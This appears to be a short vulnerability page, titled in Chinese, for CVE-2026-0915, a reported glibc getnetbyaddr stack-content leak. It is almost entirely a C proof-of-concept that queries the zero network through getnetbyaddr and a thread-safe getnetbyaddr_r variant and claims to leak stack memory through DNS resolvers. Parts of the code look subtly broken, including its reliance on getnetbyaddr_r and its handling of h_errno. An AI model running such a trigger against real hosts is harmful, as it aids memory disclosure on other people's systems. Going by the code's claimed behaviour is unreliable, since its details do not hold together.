CVE-2026-0915 GNU C Library getnetbyaddr栈内容泄露漏洞

#include <netdb.h> #include <stdio.h> #include <stdlib.h> int main() { struct netent *result; struct netent result_buf; char buffer[8192]; int h_errno_val; int ret; // Trigger the vulnerability by querying zero-valued network // This will leak stack contents through DNS backend printf("Triggering CVE-2026-0915 - getnetbyaddr stack leak\n"); printf("Querying network with address type AF_INET\n"); // Query for network 0.0.0.0 (zero-valued network) // In affected glibc versions, this may leak stack contents result = getnetbyaddr(0, AF_INET); if (result != NULL) { printf("Network found: %s\n", result->n_name); } else { printf("Network not found (h_errno: %d)\n", h_errno); } // Alternative: using getnetbyaddr_r for thread-safe version printf("\nUsing getnetbyaddr_r (thread-safe version):\n"); ret = getnetbyaddr_r(0, AF_INET, &result_buf, buffer, sizeof(buffer), &result, &h_errno_val); if (ret == 0 && result != NULL) { printf("Network found: %s\n", result->n_name); } else { printf("Query failed with error code: %d\n", h_errno_val); } printf("\nNote: In vulnerable versions, stack contents may be leaked\n"); printf("through DNS queries to configured resolvers.\n"); return 0; }